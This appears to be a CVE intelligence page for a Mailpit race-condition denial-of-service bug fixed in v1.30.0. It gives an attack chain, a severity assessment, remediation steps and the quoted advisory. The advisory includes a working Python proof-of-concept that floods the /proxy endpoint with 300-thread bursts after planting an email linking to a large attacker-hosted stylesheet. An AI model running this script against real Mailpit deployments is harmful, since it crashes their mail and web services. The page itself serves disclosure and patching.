Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSend unauthenticated SMTP email with external CSS link
-
DeliveryRetrieve message ID via unauthenticated HTTP API
-
ExploitServe oversized CSS file from attacker-controlled server
-
InstallFlood /proxy endpoint with 300+ concurrent requests
-
C2Race unsynchronized map read against cleanup goroutine write
-
ExecuteGo runtime throws unrecoverable fatal error
-
ImpactMailpit process exits, all listeners terminate
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Concurrency control, locking
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be able to reach both the Mailpit SMTP listener (default port 1025) and the HTTP listener (default port 8025). In Mailpit's default configuration, both listeners are unauthenticated and accept anonymous connections, making these prerequisites trivially satisfied in any network-accessible deployment. The /proxy endpoint must be reachable (it is enabled by default). The attacker must be able to plant at least one email containing an external stylesheet link - achievable via the anonymous SMTP listener or the unauthenticated /api/v1/send HTTP endpoint. Exploitation is limited by attack complexity: hundreds of concurrent HTTP requests must be timed to coincide with either the 60-second cleanup goroutine firing or another concurrent handler writing to the assets map; this requires sustained concurrent load, not a single request. Deployments that bind Mailpit exclusively to localhost or require HTTP authentication are not exploitable via this network attack path. |
| Impact | The CVSS 3.1 base score of 5.9 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) accurately reflects the primary risk signal: network-reachable, no authentication required, but High attack complexity due to the timing dependency of winning the map race. The AC:H rating is appropriate - the attacker must coordinate hundreds of concurrent requests and a sufficiently slow CSS fetch to reliably trigger the collision window, as demonstrated in the provided PoC (300-thread bursts, ~50 MiB CSS). Despite the moderate CVSS score, real-world risk is elevated for Mailpit deployments exposed beyond localhost: both the SMTP and HTTP listeners are unauthenticated by default, the PoC is publicly documented in the GitHub advisory, and the impact is total process termination rather than degraded service. No EPSS score was provided, so exploitation probability cannot be quantified numerically. No CISA KEV listing exists, indicating no confirmed widespread in-the-wild exploitation at time of analysis. For organizations running Mailpit as part of CI pipelines or internal development infrastructure, the denial-of-service impact (taking down SMTP, POP3, and HTTP simultaneously) is meaningful. The race is also confirmed deterministically by Go's race detector (go build -race), reducing uncertainty about exploitability. |
| Exploit ScenarioDerived | An attacker with network access to a default Mailpit instance sends a crafted email via the unauthenticated SMTP listener containing a stylesheet link pointing to an attacker-controlled server hosting a large (~50 MiB) CSS file with thousands of url() entries. The attacker then retrieves the message ID from the unauthenticated HTTP API and floods /proxy?data=base64(id:css-url) with 300+ concurrent connections per round, causing the CSS rewriter to repeatedly touch assets[id] while the cleanup goroutine concurrently deletes from the same map, triggering Go's fatal concurrent map access and crashing the entire Mailpit process. Publicly available exploit code in the form of a Python threading script is included in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 19, 2026
Full process crash in Mailpit before v1.30.0 is achievable by a remote unauthenticated attacker via a race condition in the /proxy endpoint's CSS rewriter cache, causing Go's unrecoverable fatal runtime panic and terminating the SMTP, POP3, and HTTP listeners simultaneously. The root cause is an unsynchronized read of a package-level assets map[string]MessageAssets cache that is written concurrently by a cleanup goroutine and re-entrant CSS-rewriting handlers - Go's runtime detects the collision and calls throw(), which bypasses http.Server's handler-panic recovery. Publicly available exploit code exists in the GHSA advisory; no CISA KEV listing has been identified at time of analysis, and EPSS data was not available in the provided intelligence.
RemediationAI
The vendor-released patch is Mailpit v1.30.0, which fixes the concurrent map access in the proxy CSS rewriter. Upgrade immediately using go install github.com/axllent/mailpit@v1.30.0 or by pulling the v1.30.0 Docker image. The release notes at https://github.com/axllent/mailpit/releases/tag/v1.30.0 note this as an important security release and strongly recommend upgrading. If an immediate upgrade is not possible, the primary compensating control is to restrict network access to the HTTP listener (default port 8025) so that untrusted external actors cannot reach /proxy - for example, by binding Mailpit to localhost (--listen 127.0.0.1:8025) or enforcing firewall rules that limit access to trusted developer hosts only. This mitigates the attack because the PoC requires both planting a message (SMTP, unauthenticated by default) and issuing concurrent /proxy requests; restricting HTTP access breaks step 2 of the attack chain. Note that restricting SMTP access alone is insufficient because an attacker with any message delivery path (including the /api/v1/send endpoint) could still plant the trigger message. Enabling HTTP authentication (--ui-auth-file) is an additional layer that raises the bar for the HTTP-flooding step.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Mailpit is a developer-focused SMTP/POP3 mail testing tool written in Go (pkg:go/github.com_axllent_mailpit). Its /proxy endpoint serves as a screenshot/print proxy that rewrites CSS asset URLs in email messages. Internally, it maintains a package-level map (assets map[string]MessageAssets) to cache rewritten assets across requests. The defect (CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization) arises because the code at server/handlers/proxy.go:216 reads this map without acquiring assetsMutex, while a background cleanup goroutine (firing every 60 seconds) and concurrent CSS-rewriting handler invocations write to it under the lock. Go's map implementation sets an internal hashWriting flag on any write operation; concurrent readers that observe this flag invoke runtime.throw('concurrent map read and map write'), which is a hard process abort - not a catchable panic - bypassing both defer/recover blocks and http.Server's built-in handler recovery mechanism. The affected code spans proxy.go lines 52-66 (initial read), 198-229 (write path), and 244-313 (CSS rewriting loop).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/axllent/mailpit).
CVSS VectorVendor: https://github.com/axllent/mailpit
DescriptionCVE.org
Summary
The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write - a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.
Details
A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.
Affected code server/handlers/proxy.go:198-229 server/handlers/proxy.go:52-66 server/handlers/proxy.go:244-313
Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") - throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.
PoC
- Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default).
- Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) - the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.
Skeleton (set --allow-internal-http-requests only if you're testing locally - internal IPs are blocked by safeDialContext in production, which is correct):
# proxy-race.py
import socket, threading, base64, sys
ID = sys.argv[1]
# 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()
req = (
f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
f"Host: target:8025\r\n"
f"Connection: close\r\n\r\n"
).encode()
def hit():
try:
s = socket.create_connection(("target", 8025), timeout=10)
s.sendall(req)
while s.recv(8192): pass
s.close()
except Exception: pass
for _ in range(50):
# 50 rounds
ts = [threading.Thread(target=hit) for _ in range(300)]
for t in ts: t.start()
for t in ts: t.join()When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:
fatal error: concurrent map read and map write
goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
server/handlers/proxy.go:216
...…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.
Impact
Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Race conditions occur when multiple concurrent requests exploit the brief time gap between checking a condition and acting upon it (TOCTOU - Time of Check, Time of Use).
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Same weakness CWE-362 – Race Condition
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-45971
GHSA-w4vj-r5pg-3722
NVD
CVE.org
EPSS
Exploit-DB